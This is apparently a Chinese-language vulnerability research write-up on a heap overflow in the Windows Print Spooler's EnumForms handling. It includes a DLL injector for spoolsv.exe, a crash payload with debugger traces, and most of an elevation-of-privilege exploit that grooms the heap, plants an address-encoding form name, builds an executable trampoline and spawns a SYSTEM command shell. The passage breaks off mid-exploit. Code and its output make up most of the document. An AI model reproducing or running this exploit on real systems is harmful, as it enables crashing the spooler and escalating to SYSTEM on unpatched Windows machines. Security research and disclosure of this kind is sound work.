C:\\Users\\Administrator\\ers11> cl /W4 /O2 inject_enumforms.c advapi32.lib /Fe:inject_enumforms.exe
Microsoft (R) C/C++ Optimizing Compiler Version 19.44.35222 for x64
Copyright (C) Microsoft Corporation.  All rights reserved.

inject_enumforms.c
inject_enumforms.c(32): warning C4133: 'function': incompatible types - from 'char [17]' to 'LPCWSTR'
Microsoft (R) Incremental Linker Version 14.44.35222.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:inject_enumforms.exe
inject_enumforms.obj
advapi32.lib

C:\\Users\\Administrator\\ers11> inject_enumforms.exe payload_probe.dll

============================================================
  spoolsv.exe DLL Injector for YEnumForms Test
============================================================

[*] DLL: C:\\Users\\Administrator\\ers11\\payload_probe.dll
[+] SeDebugPrivilege enabled
[+] spoolsv.exe PID: 4384
[+] Process opened
[+] DLL path written to spoolsv @ 0x0000000001F50000
[*] Injecting DLL into spoolsv.exe...
[+] Remote thread created. Waiting for DLL to execute...
[+] Thread completed. Exit code: 0xE3ED0000
[+] DLL loaded at 0xE3ED0000 in spoolsv
[+] spoolsv.exe still running (PID 4384)

[*] Check C:\\Windows\\Temp\\enumforms_inject_log.txt for results

C:\\Users\\Administrator\\ers11> type C:\\Windows\\Temp\\enumforms_inject_log.txt

=== VALID LEVELS ===
  [ok] EnumForms(L1, cb=0x0): ERROR 122 (need=10112)
  [ok] EnumForms(L2, cb=0x0): ERROR 122 (need=102158)
  [ok] EnumForms(L1, cb=0x4000): SUCCESS (ret=144, need=10112)

=== INVALID LEVELS (no client-side validation here!) ===
  [BAD] EnumForms(L99, cb=0x1000): ERROR 0 (need=0)
  [BAD] EnumForms(L0, cb=0x1000): ERROR 0 (need=0)
  [BAD] EnumForms(L3, cb=0x1000): ERROR 0 (need=0)
  [BAD] EnumForms(L4294967295, cb=0x1000): ERROR 0 (need=0)
  [BAD] EnumForms(L2147483648, cb=0x1000): ERROR 0 (need=0)

=== LARGE BUFFERS (overflow test) ===
  [1MB] EnumForms(L1, cb=0x100000):  SUCCESS (ret=144, need=10112)
  [16MB] EnumForms(L1, cb=0x1000000): SUCCESS (ret=144, need=10112)
  [64MB] EnumForms(L1, cb=0x4000000): SUCCESS (ret=144, need=10112)

=== ARITHMETIC OVERFLOW TRIGGERS ===
  [2G-64] EnumForms(L1, cb=0x7FFFFFC0): ERROR 1784 (need=0)

把两个工具的输出并排放一起看:

Level 经 winspool.drv(客户端) 在 spoolsv 内直连(服务端)
1 ERROR 122 (INSUFF\_BUFFER) ERROR 122 (INSUFF\_BUFFER)
2 ERROR 122 (INSUFF\_BUFFER) ERROR 122 (INSUFF\_BUFFER)
0 ERROR 124 (INVALID\_LEVEL) ERROR 0(接受!)
3 ERROR 124 (INVALID\_LEVEL) ERROR 0(接受!)
99 ERROR 124 (INVALID\_LEVEL) ERROR 0(接受!)
0x80000000 ERROR 124 (INVALID\_LEVEL) ERROR 0(接受!)
0xFFFFFFFF ERROR 124 (INVALID\_LEVEL) ERROR 0(接受!)
Level / cbBuf 经 winspool.drv(客户端) 直连服务端(SYSTEM)
1 | 2 ERROR 122(要尺寸) ERROR 122(要尺寸)
99 | 0 | 3 ERROR 124 (INVALID\_LEVEL) ERROR 0(接受!)
0xFFFFFFFF ERROR 124 (INVALID\_LEVEL) ERROR 0(接受!)
cbBuf ≈ 1 GB 缓冲区按声明配足 SUCCESS(全走完)

根据上表,我们验证了 OOB 写的思路成立:服务端接受各种离谱的尺寸,因为最大值没有检查。下一步是把 OOB 写变成真正的堆溢出。第一次尝试是经 spoolss!EnumFormsW 函数让 spoolsv.exe 崩溃,所以这次不能用 SEH 保护代码,源码如下:

/*
 * payload_realcrash.c - crash spoolsv.exe via spoolss!EnumFormsW. NO SEH: the AV
 *   propagates and kills spoolsv.
 *   Compile: cl /W4 /O2 /LD /D_CRT_SECURE_NO_WARNINGS payload_realcrash.c
 *            /Fe:payload_enumforms.dll
 */

#include <windows.h>
#include <stdio.h>

#define LOG_FILE \"C:\\\\Windows\\\\Temp\\\\enumforms_inject_log.txt\"

static FILE *g_log = NULL;

static void LOG(const char *fmt, ...) {
    va_list ap; if (!g_log) return;
    va_start(ap, fmt); vfprintf(g_log, fmt, ap); va_end(ap); fflush(g_log);
}

typedef BOOL (WINAPI *PFN_OpenPrinterW)(LPWSTR, LPHANDLE, LPVOID);
typedef BOOL (WINAPI *PFN_EnumFormsW)(HANDLE, DWORD, LPBYTE, DWORD, LPDWORD, LPDWORD);
typedef BOOL (WINAPI *PFN_ClosePrinter)(HANDLE);

static DWORD WINAPI WorkerThread(LPVOID param) {
    (void)param;
    HMODULE hSpoolss; PFN_OpenPrinterW pOpen; PFN_EnumFormsW pEnum; PFN_ClosePrinter pClose;
    HANDLE hPrinter = NULL; DWORD needed = 0, returned = 0; BYTE *buffer;
    DWORD allocSize = 0x10000;      /* 64KB real allocation */
    DWORD fakeCbBuf = 0x7FFFFF00;   /* claim ~2GB           */

    Sleep(1000);
    g_log = fopen(LOG_FILE, \"w\"); if (!g_log) return 1;

    hSpoolss = GetModuleHandleW(L\"spoolss.dll\");
    if (!hSpoolss) hSpoolss = LoadLibraryW(L\"spoolss.dll\");

    pOpen  = (PFN_OpenPrinterW)GetProcAddress(hSpoolss, \"OpenPrinterW\");
    pEnum  = (PFN_EnumFormsW)GetProcAddress(hSpoolss, \"EnumFormsW\");
    pClose = (PFN_ClosePrinter)GetProcAddress(hSpoolss, \"ClosePrinter\");

    if (!pOpen || !pEnum || !pClose) { LOG(\"[-] Missing exports\
\"); fclose(g_log); return 1; }

    __try {
        if (!pOpen(NULL, &hPrinter, NULL)) { LOG(\"[-] OpenPrinter: %u\
\", GetLastError());
            fclose(g_log); return 1; }
    } __except(EXCEPTION_EXECUTE_HANDLER) { LOG(\"[-] OpenPrinter exception\
\"); fclose(g_log);
        return 1; }

    /* Allocate buffer: 64KB real + guard page */
    buffer = (BYTE *)VirtualAlloc(NULL, allocSize + 0x1000, MEM_RESERVE, PAGE_NOACCESS);
    if (!buffer) { LOG(\"[-] VirtualAlloc reserve failed\
\"); fclose(g_log); return 1; }

    VirtualAlloc(buffer, allocSize, MEM_COMMIT, PAGE_READWRITE);   /* commit only 64KB */

    /* the page at buffer+64KB stays PAGE_NOACCESS -- any write there = AV */

    LOG(\"[*] *** TRIGGERING CRASH NOW ***\
\");
    fflush(g_log); fclose(g_log); g_log = NULL;

    needed = 0; returned = 0;
    /* THE CRASH CALL -- NO __try/__except. If it AVs, spoolsv dies. */
    BOOL result = pEnum(hPrinter, 1, buffer, fakeCbBuf, &needed, &returned);

    /* If we reach here the server survived; try the integer-overflow value too */
    g_log = fopen(LOG_FILE, \"a\");
    if (g_log) { LOG(\"\
[!] survived cbBuf=0x7FFFFF00: result=%d err=%u\
\", result, GetLastError());
                 fclose(g_log); g_log = NULL; }

    needed = 0; returned = 0;
    result = pEnum(hPrinter, 1, buffer, 0xFFFFD880, &needed, &returned);

    pClose(hPrinter);
    VirtualFree(buffer, 0, MEM_RELEASE);
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    (void)reserved;
    if (reason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); CreateThread(NULL, 0,
        WorkerThread, NULL, 0, NULL); }
    return TRUE;
}

这个程序的总体思路:保留 0x10000+0x1000 字节为 PAGE\_NOACCESS,只提交前 0x10000 为 PAGE\_READWRITE,末页充当 guard page——任何对它的写都会触发异常。接下来的任务是以 cbBuf=0x7FFFFF00(约 2GB)直接从重定向器调用 EnumFormsW 函数,真实缓冲只有 64 KB,且不包 try/except。PackStrings 例程从 buffer + cbBuf 往回写 144 个表单名,第一个名字就落在预定 64 KB 缓冲之后约 2 GB 的未映射内存区。不出所料,写操作触发异常,spoolsv.exe 进程终止。

构建并复现,先在主流版、再在 Canary 版上执行:

C:\\Users\\Administrator\\ers11> call \"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\VC\\Auxiliary\\Build\\vcvars64.bat\"

C:\\Users\\Administrator\\ers11> ver
Microsoft Windows [Version 10.0.26300.9550]

C:\\Users\\Administrator\\ers11> cl /W4 /O2 /LD /D_CRT_SECURE_NO_WARNINGS payload_realcrash.c /Fe:payload_enumforms.dll
Microsoft (R) C/C++ Optimizing Compiler Version 19.44.35222 for x64
Copyright (C) Microsoft Corporation.  All rights reserved.

payload_realcrash.c
Microsoft (R) Incremental Linker Version 14.44.35222.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/dll
/implib:payload_enumforms.lib
/out:payload_enumforms.dll
payload_realcrash.obj

C:\\Users\\Administrator\\ers11> inject_enumforms.exe payload_enumforms.dll

============================================================
  spoolsv.exe DLL Injector for YEnumForms Test
============================================================

[*] DLL: C:\\Users\\Administrator\\ers11\\payload_enumforms.dll
[+] SeDebugPrivilege enabled
[+] spoolsv.exe PID: 2408
[+] Process opened
[+] DLL path written to spoolsv @ 0x0000000001240000
[*] Injecting DLL into spoolsv.exe...
[+] Remote thread created. Waiting for DLL to execute...
[+] Thread completed. Exit code: 0xDDC20000
[+] DLL loaded at 0xDDC20000 in spoolsv
[+] spoolsv.exe still running (PID 2408)

[*] Check C:\\Windows\\Temp\\enumforms_inject_log.txt for results

C:\\Users\\Administrator\\ers11> type C:\\Windows\\Temp\\enumforms_inject_log.txt
[*] *** TRIGGERING CRASH NOW ***

PS C:\\Users\\Administrator\\ers11> Get-Process | grep spoolsv
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------   -----      -----      ------     --  -- -----------
    460      52     5772      21900       0.19   2408   0 spoolsv
      0      50     1236         24       0.00   8948   0 spoolsv

C:\\Users\\Administrator\\ers11> call \"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\VC\\Auxiliary\\Build\\vcvars64.bat\"

C:\\Users\\Administrator\\ers11> ver
Microsoft Windows [Version 10.0.29683.1000]

C:\\Users\\Administrator\\ers11> cl /W4 /O2 /LD /D_CRT_SECURE_NO_WARNINGS payload_realcrash.c
Microsoft (R) C/C++ Optimizing Compiler Version 19.34.31937 for x64
Copyright (C) Microsoft Corporation.  All rights reserved.

payload_realcrash.c
Microsoft (R) Incremental Linker Version 14.34.31937.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:payload_realcrash.dll
/dll
/implib:payload_realcrash.lib
payload_realcrash.obj

C:\\Users\\Administrator\\ers11> inject_enumforms.exe payload_enumforms.dll

============================================================
  spoolsv.exe DLL Injector for YEnumForms Test
============================================================

[*] DLL: C:\\Users\\Administrator\\ers11\\payload_enumforms.dll
[+] SeDebugPrivilege enabled
[+] spoolsv.exe PID: 15444
[+] Process opened
[+] DLL path written to spoolsv @ 0x0000000000B70000
[*] Injecting DLL into spoolsv.exe...
[+] Remote thread created. Waiting for DLL to execute...
[+] Thread completed. Exit code: 0x66850000
[+] DLL loaded at 0x66850000 in spoolsv
[+] spoolsv.exe still running (PID 15444)

[*] Check C:\\Windows\\Temp\\enumforms_inject_log.txt for results

C:\\Users\\Administrator\\ers11> type C:\\Windows\\Temp\\enumforms_inject_log.txt
[*] *** TRIGGERING CRASH NOW ***

PS C:\\Users\\Administrator\\ers11> Get-Process | grep spoolsv
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------   -----      -----      ------     --  -- -----------
    172      14     1868      9628       0.02  14004   0 spoolsv

可以看到,崩溃发生后 spoolsv.exe 进程的表现随 build 而异:主流版上,异常后进程还活着(spooler 把拷贝包在 WIL 异常处理器里,栈上表现为 localspl!wil::ResultFromException);而 Canary 版上 spoolsv.exe 进程会重启,应用程序事件日志记下“Faulting application name: spoolsv.exe, version: 10.0.29683.1000”。

要在 Canary 上凑近了看,可以给进程(现在是 14004)挂一个在访问违例时断下的调试器,再开第二个终端重复实验、注入 DoS DLL:

C:\\Users\\Administrator> ver
Microsoft Windows [Version 10.0.29683.1000]

C:\\Users\\Administrator> cdb -pn spoolsv.exe -c \"sxe -c \\\"k 30; q\\\" av; g\"

Microsoft (R) Windows Debugger Version 10.0.22621.1 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.

*** wait with pending attach
************* Path validation summary **************
Response                         Time (ms)     Location
Deferred                                        srv*c:\\symbols*https://msdl.microsoft.com/download/symbols
...
Executable search path is:
ModLoad: 00007ff6`3a9a0000 00007ff6`3aa88000   C:\\WINDOWS\\System32\\spoolsv.exe
ModLoad: 00007ff8`74810000 00007ff8`74a78000   C:\\WINDOWS\\SYSTEM32\
tdll.dll
ModLoad: 00007ff8`73c30000 00007ff8`73cef000   C:\\WINDOWS\\SYSTEM32\\KERNEL32.DLL
....
....
ModLoad: 00007ff8`717d0000 00007ff8`71834000   C:\\WINDOWS\\SYSTEM32\\WINSTA.dll
ModLoad: 00007ff8`707f0000 00007ff8`70827000   C:\\WINDOWS\\system32\\rsaenh.dll
ModLoad: 00007ff8`71070000 00007ff8`7107c000   C:\\WINDOWS\\SYSTEM32\\CRYPTBASE.dll

(36b4.31e8): Break instruction exception - code 80000003 (first chance)
ntdll!DbgBreakPoint:
00007ff8`74936690 cc              int     3

0:007> cdb: Reading initial command 'sxe -c \"k 30; q\" av; g'

ModLoad: 00007ff8`65070000 00007ff8`65099000   C:\\Users\\Administrator\\ers11\\payload_enumforms.dll

(258c.3da8): Access violation - code c0000005 (first chance)

Child-SP          RetAddr               Call Site
00000000`01c4f888 00007ff6`3a9ab39e     ucrtbase!memcpy+0x93     <- access violation
00000000`01c4f890 00007ff8`66851f30     spoolsv!PackStrings+0x9e     <- copying from strings
00000000`01c4f8f0 00007ff8`4d4b7c61     SPOOLSS!PackStrings+0x20
00000000`01c4f930 00007ff8`4d5383f9     localspl!CopyIniFormToFormInfo+0x2b1
00000000`01c4fbc0 00007ff8`4d4c0760     localspl!InternalEnumForms+0xf9
00000000`01c4fc40 00007ff8`4d4c0695     localspl!<lambda_48e7f394dc3b3fcb2d72fcafaa33824f>::operator()+0xb8
00000000`01c4fc80 00007ff8`4d538ba3     localspl!wil::ResultFromException<<lambda_48e7f394dc3b3fcb2d72fcafaa33824f> >+0x9
00000000`01c4fcb0 00007ff6`3a9adb86     localspl!SplEnumForms+0x63
00000000`01c4fd30 00007ff8`6685cc16     spoolsv!EnumFormsW+0x56
*** WARNING: Unable to verify checksum for C:\\Users\\Administrator\\ers11\\payload_enumforms.dll
00000000`01c4fd80 00007ff8`65071254     SPOOLSS!EnumFormsW+0x66
00000000`01c4fdd0 00007ff8`73c5ee53     payload_enumforms+0x1254
00000000`01c4fe30 00007ff8`7488a900     KERNEL32!BaseThreadInitThunk+0x13
00000000`01c4fe60 00000000`00000000     ntdll!RtlUserThreadStart+0x20

quit:
NatVis script unloaded from 'C:\\Program Files (x86)\\Windows ...
NatVis script unloaded from 'C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\Visualizers\\Windows.Data.Json.natvis'
...
...

C:\\Users\\Administrator>

guard page 崩溃清楚地证明写操作逃出了缓冲区,但关于写本身我们错过了宝贵信息——它落在 guard page 上而不是 groom 过的堆,否则我们既能跟踪被写的内容,也能拿到它的偏移。所以,真正的利用是下一项任务。

09. 漏洞利用

exploit 有两个版本。第一个(变体 A)需要查看日志文件来确认利用成功;第二个变体略有不同——它直接弹出一个命令提示符,可以在里面验证我们已经从 Administrator 提升到了 System。两个完整的 exploit 源码都在下面:

/*
 * exploit_stage4_exec_clean.c -- EnumForms heap-overflow EoP, variant A (token proof).
 *
 * Injected into spoolsv.exe (Session 0, no console), so progress is written to a log
 * file via LOG() rather than printf -- each Step is announced with a banner and
 * reports what it did, the same staged style the injector prints to the console.
 *
 * Build: cl /W4 /O2 /LD exploit_stage4_exec_clean.c /Fe:payload_token.dll
 * Run:   inject_enumforms.exe payload_token.dll    (admin + SeDebug)
 * Output: C:\\Windows\\Temp\\enumforms_inject_log.txt (staged log)
 *         C:\\Windows\\Temp\\EXPLOITED.txt            (SYSTEM token proof)
 */

#include <windows.h>
#include <sddl.h>
#include <stdio.h>

#pragma comment(lib, \"advapi32.lib\")

#define LOG_FILE \"C:\\\\Windows\\\\Temp\\\\enumforms_inject_log.txt\"
#define PROOF_FILE \"C:\\\\Windows\\\\Temp\\\\EXPLOITED.txt\"

static FILE *g_log = NULL;

static void LOG(const char *fmt, ...) {
    va_list ap;
    if (!g_log) return;
    va_start(ap, fmt);
    vfprintf(g_log, fmt, ap);
    va_end(ap);
    fflush(g_log);
}

static void STEP(const char *title) {
    LOG(\"\
============================================================\
\");
    LOG(\"  %s\
\", title);
    LOG(\"============================================================\
\");
}

typedef BOOL (WINAPI *PFN_OpenPrinterW)(LPWSTR, LPHANDLE, LPVOID);
typedef BOOL (WINAPI *PFN_EnumFormsW)(HANDLE, DWORD, LPBYTE, DWORD, LPDWORD, LPDWORD);
typedef BOOL (WINAPI *PFN_ClosePrinter)(HANDLE);
typedef BOOL (WINAPI *PFN_AddFormW)(HANDLE, DWORD, LPBYTE);
typedef BOOL (WINAPI *PFN_DeleteFormW)(HANDLE, LPWSTR);

typedef void (*PFN_CALLBACK)(void);

typedef struct _SPRAY_OBJ {
    PFN_CALLBACK callback;
    DWORD marker;
    DWORD index;
    BYTE padding[1];
} SPRAY_OBJ;

#define SPRAY_COUNT     300
#define HOLE_INTERVAL   4

static SPRAY_OBJ *g_spray[SPRAY_COUNT];
static HANDLE g_heap;
static PVOID g_shellcode = NULL;
static wchar_t g_form_name[128];

static void __cdecl shellcode_func(void) {
    HANDLE hToken = NULL, hFile; DWORD written; char buf[4096]; int pos = 0;

    pos += sprintf_s(buf + pos, sizeof(buf) - pos,
        \"============================================================\\r\
\"
        \"  EXPLOIT PROOF: Code Execution as SYSTEM\\r\
\"
        \"  spoolsv.exe EnumForms Heap Overflow (CWE-122 / CWE-787)\\r\
\"
        \"============================================================\\r\
\\r\
\");

    pos += sprintf_s(buf + pos, sizeof(buf) - pos,
        \"Process: spoolsv.exe (PID %u)\\r\
\", GetCurrentProcessId());

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        BYTE tu[256]; DWORD rl = 0;
        if (GetTokenInformation(hToken, TokenUser, tu, sizeof(tu), &rl)) {
            WCHAR name[128] = {0}, dom[128] = {0}; DWORD nl = 128, dl = 128; SID_NAME_USE use;
            if (LookupAccountSidW(NULL, ((TOKEN_USER *)tu)->User.Sid, name, &nl, dom, &dl, &use))
                pos += sprintf_s(buf + pos, sizeof(buf) - pos, \"Token User: %S\\\\%S\\r\
\", dom, name);
            LPWSTR sid = NULL;
            if (ConvertSidToStringSidW(((TOKEN_USER *)tu)->User.Sid, &sid)) {
                pos += sprintf_s(buf + pos, sizeof(buf) - pos, \"Token SID:  %S\\r\
\", sid); LocalFree(sid);
            }
        }

        BYTE tp[2048];
        if (GetTokenInformation(hToken, TokenPrivileges, tp, sizeof(tp), &rl)) {
            TOKEN_PRIVILEGES *pv = (TOKEN_PRIVILEGES *)tp;
            pos += sprintf_s(buf + pos, sizeof(buf) - pos, \"Token Privileges: %u\\r\
\", pv->PrivilegeCount);
            for (DWORD k = 0; k < pv->PrivilegeCount && k < 30; k++) {
                WCHAR pn[128] = {0}; DWORD pl = 128;
                if (LookupPrivilegeNameW(NULL, &pv->Privileges[k].Luid, pn, &pl)) {
                    DWORD a = pv->Privileges[k].Attributes;
                    const char *st = (a & SE_PRIVILEGE_ENABLED) ? \"Enabled\" :
                                     (a & SE_PRIVILEGE_ENABLED_BY_DEFAULT) ? \"Default\" : \"Disabled\";
                    pos += sprintf_s(buf + pos, sizeof(buf) - pos, \"  %S [%s]\\r\
\", pn, st);
                }
            }
        }

        BYTE ti[128];
        if (GetTokenInformation(hToken, TokenIntegrityLevel, ti, sizeof(ti), &rl)) {
            TOKEN_MANDATORY_LABEL *lbl = (TOKEN_MANDATORY_LABEL *)ti;
            DWORD *sa = GetSidSubAuthority(lbl->Label.Sid,
                          (DWORD)(UCHAR)(*GetSidSubAuthorityCount(lbl->Label.Sid) - 1));
            const char *lv = (*sa >= 0x4000) ? \"SYSTEM\" : (*sa >= 0x3000) ? \"High\" :
                             (*sa >= 0x2000) ? \"Medium\" : \"Low\";
            pos += sprintf_s(buf + pos, sizeof(buf) - pos, \"Integrity Level: %s (0x%X)\\r\
\", lv, *sa);
        }
        CloseHandle(hToken);
    }

    pos += sprintf_s(buf + pos, sizeof(buf) - pos, \"\\r\
[*] Spawning SYSTEM shell...\\r\
\");

    STARTUPINFOW si = {0}; si.cb = sizeof si; PROCESS_INFORMATION pi = {0};
    WCHAR sysDir[MAX_PATH], cmd[MAX_PATH]; GetSystemDirectoryW(sysDir, MAX_PATH);
    swprintf_s(cmd, MAX_PATH, L\"%s\\\\cmd.exe\", sysDir);

    if (CreateProcessW(NULL, cmd, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
        pos += sprintf_s(buf + pos, sizeof(buf) - pos, \"[+] SYSTEM shell PID: %lu\\r\
\", pi.dwProcessId);
        CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
    }

    hFile = CreateFileA(PROOF_FILE, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile != INVALID_HANDLE_VALUE) { WriteFile(hFile, buf, pos, &written, NULL); CloseHandle(hFile); }
}

static void encode_address_as_form_name(UINT_PTR addr, wchar_t *name, int max_len) {
    BYTE *bytes = (BYTE *)&addr; int i, wchar_count = 0;
    name[0] = 0;
    for (i = 0; i < 8; i += 2) {
        wchar_t wc = (wchar_t)(bytes[i] | (bytes[i+1] << 8));
        if (wc == 0) break;
        name[wchar_count++] = wc;
        if (wchar_count >= max_len - 1) break;
    }
    name[wchar_count] = 0;
}

static DWORD WINAPI WorkerThread(LPVOID param) {
    (void)param;
    HMODULE hSpoolss;
    PFN_OpenPrinterW pOpen; PFN_EnumFormsW pEnum; PFN_ClosePrinter pClose;
    PFN_AddFormW pAddForm; PFN_DeleteFormW pDeleteForm;
    HANDLE hPrinter = NULL; DWORD needed = 0, returned = 0; int i;
    BYTE *buffer = NULL;

    Sleep(1000);
    g_log = fopen(LOG_FILE, \"w\");
    if (!g_log) return 1;

    LOG(\"============================================================\
\");
    LOG(\"  EXPLOIT STAGE 4: Code Execution via Heap Overflow\
\");
    LOG(\"  PID: %u (spoolsv.exe, NT AUTHORITY\\\\SYSTEM)\
\", GetCurrentProcessId());
    LOG(\"============================================================\
\");

    STEP(\"STEP 0: BUILD TRAMPOLINE AND ENCODE TARGET ADDRESS\");

    LOG(\"[*] Step 0: Preparing shellcode function\
\");
    UINT_PTR shellcode_addr = (UINT_PTR)&shellcode_func;
    LOG(\"    shellcode_func at: 0x%p\
\", (void *)shellcode_addr);

    BYTE *addr_bytes = (BYTE *)&shellcode_addr;
    LOG(\"    Address bytes: \");
    for (i = 0; i < 8; i++) LOG(\"%02X \", addr_bytes[i]);
    LOG(\"\
\");

    BOOL has_null_wchar = FALSE;
    for (i = 0; i < 6; i += 2) {
        wchar_t wc = (wchar_t)(addr_bytes[i] | (addr_bytes[i+1] << 8));
        if (wc == 0) { has_null_wchar = TRUE; break; }
    }

    if (has_null_wchar) {
        LOG(\"    [!] Address has a null wchar in the low 6 bytes\
\");
        LOG(\"    [*] Allocating a null-free executable page for a trampoline...\
\");

        for (UINT_PTR try_addr = 0x10010000; try_addr < 0x7FFF0000; try_addr += 0x10000) {
            BYTE *tb = (BYTE *)&try_addr;
            wchar_t w0 = (wchar_t)(tb[0] | (tb[1] << 8));
            wchar_t w1 = (wchar_t)(tb[2] | (tb[3] << 8));
            if (w0 != 0 && w1 != 0) {
                g_shellcode = VirtualAlloc((PVOID)try_addr, 4096,
                                           MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
                if (g_shellcode) {
                    LOG(\"    [+] Shellcode at: 0x%p (null-free)\
\", g_shellcode);
                    BYTE *code = (BYTE *)g_shellcode;
                    code[0] = 0x48; code[1] = 0xB8;
                    *(UINT_PTR *)(code + 2) = shellcode_addr;
                    code[10] = 0xFF; code[11] = 0xE0;
                    shellcode_addr = (UINT_PTR)g_shellcode;
                    break;
                }
            }
        }
        if (!g_shellcode) {
            LOG(\"    [-] Cannot allocate null-free address\
\");
            LOG(\"    [*] Falling back to direct address\
\");
        }
    } else {
        LOG(\"    [+] Address is null-free; encoding it directly (no trampoline)\
\");
    }

    encode_address_as_form_name(shellcode_addr, g_form_name, 128);
    LOG(\"    Form name encoding: L\\\"\");
    for (i = 0; g_form_name[i]; i++) LOG(\"\\\\x%04X\", g_form_name[i]);
    LOG(\"\\\" + null\
\");

    UINT_PTR decoded = 0;
    BYTE *dec_bytes = (BYTE *)&decoded;
    for (i = 0; g_form_name[i] && i < 4; i++) {
        dec_bytes[i*2]   = (BYTE)(g_form_name[i] & 0xFF);
        dec_bytes[i*2+1] = (BYTE)(g_form_name[i] >> 8);
    }
    LOG(\"    Decoded address: 0x%p %s\
\", (void *)decoded,
        decoded == shellcode_addr ? \"(MATCH!)\" : \"(MISMATCH!)\");
    LOG(\"[+] Step 0 complete: callback value ready\
\");

    STEP(\"STEP 1: RESOLVE ROUTER EXPORTS AND OPEN PRINTER\");

    hSpoolss = GetModuleHandleW(L\"spoolss.dll\");
    if (!hSpoolss) hSpoolss = LoadLibraryW(L\"spoolss.dll\");
    LOG(\"[*] spoolss.dll at 0x%p\
\", (void *)hSpoolss);

    pOpen = (PFN_OpenPrinterW)GetProcAddress(hSpoolss, \"OpenPrinterW\");
    pEnum = (PFN_EnumFormsW)GetProcAddress(hSpoolss, \"EnumFormsW\");
    pClose = (PFN_ClosePrinter)GetProcAddress(hSpoolss, \"ClosePrinter\");
    pAddForm = (PFN_AddFormW)GetProcAddress(hSpoolss, \"AddFormW\");
    pDeleteForm = (PFN_DeleteFormW)GetProcAddress(hSpoolss, \"DeleteFormW\");

    if (!pOpen || !pEnum || !pClose || !pAddForm || !pDeleteForm) {
        LOG(\"[ - ] Could not resolve one or more router exports\
\");
        fclose(g_log); g_log = NULL; return 1;
    }
    LOG(\"    [+] OpenPrinterW/EnumFormsW/ClosePrinter/AddFormW/DeleteFormW resolved\
\");

    __try {
        if (!pOpen(NULL, &hPrinter, NULL)) {
            LOG(\"[ - ] OpenPrinter: %u\
\", GetLastError());
            fclose(g_log); return 1;
        }
    } __except(1) {
        LOG(\"[ - ] OpenPrinter exception\
\");
        fclose(g_log); return 1;
    }
    LOG(\"    [+] Printer handle: 0x%p\
\", (void *)hPrinter);
    LOG(\"[+] Step 1 complete: router ready, local print server opened\
\");

    STEP(\"STEP 2: PLANT FORM WHOSE NAME ENCODES THE ADDRESS\");

    LOG(\"\
[*] Step 2: Adding form with encoded address name\
\");
    {
        typedef struct {
            DWORD Flags; LPWSTR pName; SIZEL Size; RECTL ImageableArea;
        } MY_FORM_INFO_1;

        MY_FORM_INFO_1 fi = {0};
        fi.Flags = 0;
        fi.pName = g_form_name;
        fi.Size.cx = 215900;
        fi.Size.cy = 279400;
        fi.ImageableArea.right = 215900;
        fi.ImageableArea.bottom = 279400;

        pDeleteForm(hPrinter, g_form_name);
        if (pAddForm(hPrinter, 1, (LPBYTE)&fi))
            LOG(\"    [+] Form added\
\");
        else
            LOG(\"    [ - ] AddForm: %u\
\", GetLastError());
    }
    LOG(\"[+] Step 2 complete: attacker bytes are now in the form store\
\");

    STEP(\"STEP 3: MEASURE LAYOUT (needed, custom_off)\");

    pEnum(hPrinter, 1, NULL, 0, &needed, &returned);
    LOG(\"\
[*] Step 3: needed=%u, forms=%u\
\", needed, returned);

    DWORD custom_off = 0;
    {
        BYTE *tmp = (BYTE *)HeapAlloc(GetProcessHeap(), 0, needed);
        if (tmp) {
            DWORD n = 0, r = 0;
            __try { pEnum(hPrinter, 1, tmp, needed, &n, &r); } __except(1) {}
            for (i = 0; i < (int)r; i++) {
                wchar_t *name = *(wchar_t **)(tmp + i*40 + 8);
                if (name && wcscmp(name, g_form_name) == 0) {
                    custom_off = (DWORD)((BYTE *)name - tmp);
                    LOG(\"    Custom form at index %d, string at buf+0x%X\
\",
                        i, custom_off);
                    break;
                }
            }
            HeapFree(GetProcessHeap(), 0, tmp);
        }
    }
    if (custom_off == 0) {
        LOG(\"[ - ] Cannot find custom form string\
\");
        goto done;
    }
    LOG(\"[+] Step 3 complete: our name packs at buf+0x%X in an honest buffer\
\", custom_off);

    STEP(\"STEP 4: SPRAY CALLBACK OBJECTS AND OPEN HOLES\");

    LOG(\"\
[*] Step 4: Spraying callback objects (size=0x%X)\
\", needed);
    g_heap = GetProcessHeap();

    for (i = 0; i < SPRAY_COUNT; i++) {
        g_spray[i] = (SPRAY_OBJ *)HeapAlloc(g_heap, HEAP_ZERO_MEMORY, needed);
        if (g_spray[i]) {
            g_spray[i]->callback = NULL;
            g_spray[i]->marker = 0xCAFEBABE;
            g_spray[i]->index = i;
        }
    }
    LOG(\"    [+] Sprayed %d SPRAY_OBJ blocks (marker 0xCAFEBABE)\
\", SPRAY_COUNT);

    for (i = HOLE_INTERVAL; i < SPRAY_COUNT; i += HOLE_INTERVAL) {
        if (g_spray[i]) { HeapFree(g_heap, 0, g_spray[i]); g_spray[i] = NULL; }
    }
    LOG(\"    [+] Freed every %d-th block to open holes\
\", HOLE_INTERVAL);
    LOG(\"[+] Step 4 complete: heap groomed\
\");

    STEP(\"STEP 5: PLACE VICTIM BUFFER AND FIND THE NEIGHBOR\");

    buffer = (BYTE *)HeapAlloc(g_heap, HEAP_ZERO_MEMORY, needed);
    LOG(\"    buffer at %p\
\", buffer);

    SPRAY_OBJ *target = NULL;
    int tidx = -1;
    LONGLONG min_d = 0x7FFFFFFF;
    for (i = 0; i < SPRAY_COUNT; i++) {
